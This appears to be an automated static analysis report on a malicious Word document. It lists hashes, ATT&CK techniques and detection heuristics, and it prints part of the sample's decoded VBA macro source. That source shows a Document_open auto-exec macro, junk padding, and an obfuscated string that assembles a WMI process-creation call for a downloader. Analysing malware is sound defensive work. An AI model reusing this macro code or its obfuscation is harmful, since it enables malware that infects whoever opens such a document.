Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4798faf76258c8ed…

MALICIOUS

Office (OLE)

191.8 KB Created: 2020-08-19 07:44:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 8b4778843143e0eea38b734b1c657e47 SHA-1: 76fd8f4ae24ac29c75079e44c2ac9f205ccec68b SHA-256: 4798faf76258c8ed12cd2d43a683e3c56b6fadbcbc5b6e7a797ca73e76ed49df
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file contains a high-confidence VBA macro that utilizes CreateObject and a hidden UserForm property to execute a command stager. This is indicative of a downloader malware designed to fetch and run additional malicious content. The ClamAV detection further supports its malicious nature.

Heuristics 7

  • ClamAV: Doc.Downloader.Generic-9390508-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-9390508-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15418 bytes
SHA-256: 3b541d1a06fec2b75d26625bee04a77b958d16615b102616d01a2edd6e46f520
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "I2n1w6ykqx77"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Grf_231rgq6feyuaib.Qi70lrjd711r
End Sub


Attribute VB_Name = "Grf_231rgq6feyuaib"
Attribute VB_Base = "0{4CCBBDD9-2F43-4924-A1D3-20784628854E}{86795B27-A500-4953-9058-99E831039F7D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Qi70lrjd711r()
   Cqvj_2ovmsj9keasd = "326"
If Len("S_0ydnujvix4zy4d7Mzrei4whaic0vydyh") = Len("Wqmiz1ff9u5wfhihao") + 1 Then End
If Len("O2gc8nmhwx_zbqGqrja30c6cnoc71ox1Qezoq6nttt964") < Len("G0413oxwzl_t") Then
        MsgBox "Gl7in_343ucboxipu8" + "Pi599z6lxbqn"
        MsgBox ("Y8dhykv7anrp2z")
        MsgBox "Togep491qo0uty" + "Tlhydstb3kmm"
End If
If Len("Wmthaqvj6m0v_gyS2bh7wfhcv8hno6cr") = Len("We72ucd78_jdd") Then
       MsgBox "Whduke1kglfpu" + "Xrr7exmt09g_e"
       MsgBox ("Sg0_rvmflk3nxv9vwe !!!")
       MsgBox "Saqsn0q_mifnk_1" + "Amf00a2fhd3a3wo"
End If

Lxyicsb181j_71k1r = Grf_231rgq6feyuaib.HelpContextId + 50 + 50
   D67011_nm4uojcnw = "325"
If Len("Ugywtljhyqkbx5nqS0q67bm_omn") = Len("U2wx9x8ebxtx2bjzlz") + 1 Then End
If Len("E0gmpg57flxe_7j8zzSgrlbdp4d63yzzE_wphqe234psu") < Len("Mfua7_42xej_o1bn") Then
        MsgBox "Yqx1jkkr0wqztxv6" + "P1iy41tqmsf"
        MsgBox ("Bo1pfqc8bi6j")
        MsgBox "Xonberzfldleag1" + "G84fj8h2knh"
End If
If Len("Ybn70e7lgoibrc3Kkfkm43lcejag") = Len("T2jfgk2qg8lo97z") Then
       MsgBox "Rhf8m_i8ggjc4666f" + "Qr3l8ru0ei_978x"
       MsgBox ("Lc7kk3sn_aayx !!!")
       MsgBox "Bqjnii_nlymn7" + "Yjknqso306j60pm7r7"
End If

V90hxq6qo_80y = ChrW(Lxyicsb181j_71k1r + (15))
   W9ajpkf2cmbr = "275"
If Len("U1af09h9xj4r3o4vpjV6i7olmp7riyz") = Len("Lh2_qh7pjiyi4y") + 1 Then End
If Len("Jfydzxbu5x6wsmrpwdIhcw0crovaiNzttluv_5px8") < Len("Pwod44ce4mzku") Then
        MsgBox "Ahjqtwsm8_4f6beg" + "Ofjnrdl4hga1m6i36u"
        MsgBox ("O0dk6jzokx0aawqef")
        MsgBox "Iue0ymqrwvfvo" + "Mlw9q6oe3za"
End If
If Len("Gf_e71dru_zwU6nxej1j9u1_s") = Len("H8h3p9tclsszpr9q") Then
       MsgBox "Q_yyaasypl7lwk" + "Jb5vmijz21u7"
       MsgBox ("L6jmrcc_6_k7 !!!")
       MsgBox "C_xx21inknxnejnl" + "Zrfnivbu5thetbuzxe"
End If

Zjhi2dxrnjci_i = "111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yfw111ss[sns ]]d][ jsa nbsb22v2yfi111ss[sns ]]d][ jsa nbsb22v2yfnm111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yfgm111ss[sns ]]d][ jsa nbsb22v2yft111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yf" + V90hxq6qo_80y + "111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yf:111ss[sns ]]d][ jsa nbsb22v2yfw111ss[sns ]]d][ jsa nbsb22v2yfin111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yf3111ss[sns ]]d][ jsa nbsb22v2yf2111ss[sns ]]d][ jsa nbsb22v2yf_111ss[sns ]]d][ jsa nbsb22v2yf" + Grf_231rgq6feyuaib.Ik112dl8st75tdo + "111ss[sns ]]d][ jsa nbsb22v2yfro111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yfce111ss[sns ]]d][ jsa nbsb22v2yfs111ss[sns ]]d][ jsa nbsb22v2yfs111ss[sns ]]d][ jsa nbsb22v2yf"
   G7qbayytnfsl8 = "450"
If Len("Ppfagi33kfsrps3gJzg9i53__5b1_") = Len("Gte8bqav1trvltuif3") + 1 Then End
If Len("Vfx21owoago1Hhj9lw21l30Lxsiq2zktf3x4ptp") < Len("Zol4pkejw9u") Then
        MsgBox "Msoyej2efvp" + "Ltfpxf7clymny6bm"
        MsgBox ("Z55ekbyo0yg3l")
        MsgBox "K0wn7f1xrbrz5gaakh" + "Tg3wvgsrayr1l_"
End If
If Len("Yobsfhymm4yvisn0oJv1xnagnyz0algzbiw") = Len("Ucid5p49wk_yzc30pb") Then
       MsgBox "Abl3t0omrs7gj" + "Aw8fr8ivdvdybj9uh"
       MsgBox ("Z9v9rkzeqdmq1 !!!")
       MsgBox "T8zr759fcq9" + "R69ep9kwhlgcewqn"
End If

Mz7pnzlpz0fnojmome = Of250_xwlvwccd1q(Zjhi2dxrnjci_i)
   Dq5s2cso9fpa = "994"
If Len("D881879n32fj7u_1uG4ovso3exppx467sit") = Len("Jrey5n1zj6t") + 1 Then End

... (truncated)

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